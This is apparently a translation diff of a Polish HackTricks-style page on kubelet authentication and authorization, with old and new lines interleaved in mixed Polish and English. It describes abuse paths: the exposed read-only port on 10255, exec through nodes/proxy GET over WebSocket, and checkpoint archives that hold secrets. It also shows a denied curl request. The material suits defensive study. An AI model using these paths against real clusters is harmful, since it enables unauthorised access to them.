Gdy **kubelet read-only port** jest exposed, możliwe staje się pobranie informacji z API przez nieautoryzowane strony. Exposure tego portu może prowadzić do ujawnienia różnych **elementów konfiguracji klastra**. Chociaż informacje, w tym **nazwy podów, lokalizacje plików wewnętrznych i inne konfiguracje**, mogą nie być krytyczne, ich exposure nadal stanowi ryzyko bezpieczeństwa i powinno być unikane.
Przykład wykorzystania tej podatności polega na tym, że zdalny atakujący uzyskuje dostęp do konkretnego URL. Przechodząc do `http://<external-IP>:10255/pods`, atakujący może potencjalnie pobrać wrażliwe informacje z kubelet:
Przykład wykorzystania tej podatności polega na tym, że zdalny atakujący uzyskuje dostęp do określonego URL. Przechodząc do `http://<external-IP>:10255/pods`, atakujący może potencjalnie pobrać poufne informacje z kubelet:
![Odpowiedź z kubelet read-only port ujawniająca informacje o podach](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
## References
@@ -1,25 +1,25 @@
# Kubelet Uwierzytelnianie i autoryzacja
# Uwierzytelnianie i autoryzacja Kubelet
{{#include ../../../banners/hacktricks-training.md}}
## Uwierzytelnianie Kubeleta <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Uwierzytelnianie Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**Z dokumentacji:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Domyślnie żądania do punktu końcowego HTTPS kubeleta, które nie zostaną odrzucone przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwę użytkownika `system:anonymous`** oraz **grupę `system:unauthenticated`**.
Domyślnie żądania do punktu końcowego HTTPS kubelet, które nie są odrzucane przez inne skonfigurowane metody uwierzytelniania, są traktowane jako żądania anonimowe i otrzymują **nazwę użytkownika `system:anonymous`** oraz **grupę `system:unauthenticated`**.
The **3** authentication **methods** are:
Istnieją **3** **metody** uwierzytelniania:
- **Anonymous** (domyślnie): Ustaw parametr **`--anonymous-auth=true`** lub konfigurację:
- **Anonymous** (domyślna): Używa ustawienia parametru **`--anonymous-auth=true`** lub konfiguracji:
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: To spowoduje **włączenie** kubectl **API bearer tokens** jako mechanizmu autoryzacji (każdy ważny token będzie akceptowany). Zezwól na to, wykonując:
- upewnij się, że grupa API `authentication.k8s.io/v1beta1` jest włączona na serwerze API
- uruchom kubelet z flagami **`--authentication-token-webhook`** i **`--kubeconfig`** lub użyj następującego ustawienia:
- **Webhook**: To **enable** kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
- ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
- start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,11 @@ The **3** authentication **methods** are:
},
```
> [!NOTE]
> Kubelet wywołuje **`TokenReview` API** na skonfigurowanym serwerze API, aby **określić informacje o użytkowniku** z bearer tokens
>
- **X509 client certificates:** Pozwalają na uwierzytelnianie za pomocą certyfikatów klienta X509
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
> The kubelet wywołuje **`TokenReview` API** na skonfigurowanym API server, aby **określić informacje o użytkowniku** z bearer tokens
- **X509 client certificates:** Umożliwiają uwierzytelnianie za pomocą X509 client certs
- zobacz [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) po więcej szczegółów
- uruchom kubelet z flagą `--client-ca-file`, podając CA bundle do weryfikacji client certificates. Albo z config:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ The **3** authentication **methods** are:
}
}
```
## Autoryzacja Kubeleta <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Każde żądanie, które zostanie pomyślnie uwierzytelnione (w tym żądanie anonimowe) **jest następnie autoryzowane**. **domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**.
Każde żądanie, które zostanie pomyślnie uwierzytelnione (w tym żądanie anonimowe), **jest następnie autoryzowane**. **Domyślny** tryb autoryzacji to **`AlwaysAllow`**, który **zezwala na wszystkie żądania**.
However, the other possible value is **`webhook`** (który jest tym, co **przeważnie spotkasz**). Ten tryb **sprawdza uprawnienia uwierzytelnionego użytkownika**, aby zezwolić lub odmówić wykonania akcji.
Jednak inną możliwą wartością jest **`webhook`** (i to właśnie **najczęściej będziesz spotykać**). Ten tryb **sprawdzi uprawnienia uwierzytelnionego użytkownika**, aby zezwolić na działanie lub je zablokować.
> [!WARNING]
> Należy pamiętać, że nawet jeśli **uwierzytelnianie anonimowe jest włączone** to **dostęp anonimowy** może **nie mieć żadnych uprawnień** do wykonania żadnej akcji.
> Pamiętaj, że nawet jeśli **uwierzytelnianie anonimowe jest włączone**, **anonimowy dostęp** może **nie mieć żadnych uprawnień** do wykonania jakiejkolwiek akcji.
Autoryzację przez webhook można skonfigurować używając parametru **`--authorization-mode=Webhook`** lub przez plik konfiguracyjny za pomocą:
Autoryzację przez webhook można skonfigurować, używając **parametru `--authorization-mode=Webhook`** albo poprzez plik config z:
```json
"authorization": {
"mode": "Webhook",
@@ -59,11 +59,11 @@ Autoryzację przez webhook można skonfigurować używając parametru **`--autho
}
},
```
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
Kubelet wywołuje API **`SubjectAccessReview`** na skonfigurowanym API server, aby **określić**, czy każde żądanie jest **authorized.**
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
Kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
- **Akcja**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -73,7 +73,7 @@ The kubelet authorizes API requests using the same [request attributes](https://
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- Zasób komunikujący się z Kubelet api to **zawsze** **nodes**, a **subresource** jest **określany** na podstawie ścieżki przychodzącego żądania:
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
@@ -81,23 +81,38 @@ The kubelet authorizes API requests using the same [request attributes](https://
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
W nowoczesnych klastrach szczegółowe authorizations dla kubelet są domyślnie włączone. Kubernetes v1.36 uczynił to stabilnym: kubelet najpierw sprawdza bardziej specyficzne subresources dla ścieżek takich jak `/pods`, `/runningPods`, `/healthz` i `/configz`, zanim przejdzie do `nodes/proxy` dla zachowania wstecznej kompatybilności.
For example, the following request tried to access the pods info of kubelet without permission:
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
Używaj tych węższych subresources do monitoringu i diagnostyki, gdy to możliwe. Unikaj przyznawania szerokiego `nodes/proxy` dla zwykłych metryk, statystyk, health, listowania podów lub przeglądu konfiguracji, ponieważ `nodes/proxy` nadal obejmuje kubelet APIs o większym wpływie.
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` trafiają do domyślnego subresource **proxy** i są authorizowane przy użyciu początkowego HTTP **GET** handshake. Principal mający tylko `nodes/proxy` **GET** nadal może exec kontenery, jeśli połączy się bezpośrednio z `https://<node_ip>:10250` przez WebSockets. Zobacz [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) po szczegóły.
Kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) to kolejna wrażliwa powierzchnia kubelet. Kubernetes v1.30 uczynił checkpointing kontenerów beta i włączył go domyślnie, ale żądanie nadal zależy od authorizations kubelet i wsparcia runtime, takiego jak CRI-O lub containerd z możliwością checkpoint/CRIU. Udane checkpointy są zapisywane poniżej katalogu root kubelet, domyślnie `/var/lib/kubelet/checkpoints`, i mogą zawierać pamięć procesu z tokenami, kluczami lub secretami aplikacji. Ogranicz `nodes/checkpoint`, wyłącz stary read-only port, ogranicz bezpośrednią reachability sieciową kubelet i monitoruj lub czyść archiwa checkpoint, jeśli ta funkcja jest używana celowo.
Na przykład następujące żądanie próbowało uzyskać dostęp do informacji o pods kubelet bez permission:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło sprawdzenie uwierzytelniania**. Gdyby nie, otrzymalibyśmy tylko komunikat `Unauthorised`.
- Widać **username** (w tym przypadku z tokena)
- Zwróć uwagę, że **resource** to **nodes**, a **subresource** to **proxy** (co ma sens w świetle powyższych informacji)
- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło check Authentication**. Gdyby nie, dostalibyśmy tylko komunikat `Unauthorised`.
- Możemy zobaczyć **username** (w tym przypadku z tokena)
- Sprawdź, jak **resource** było **nodes** i **subresource** **proxy** (co ma sens z poprzednią informacją)
## Referencje
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}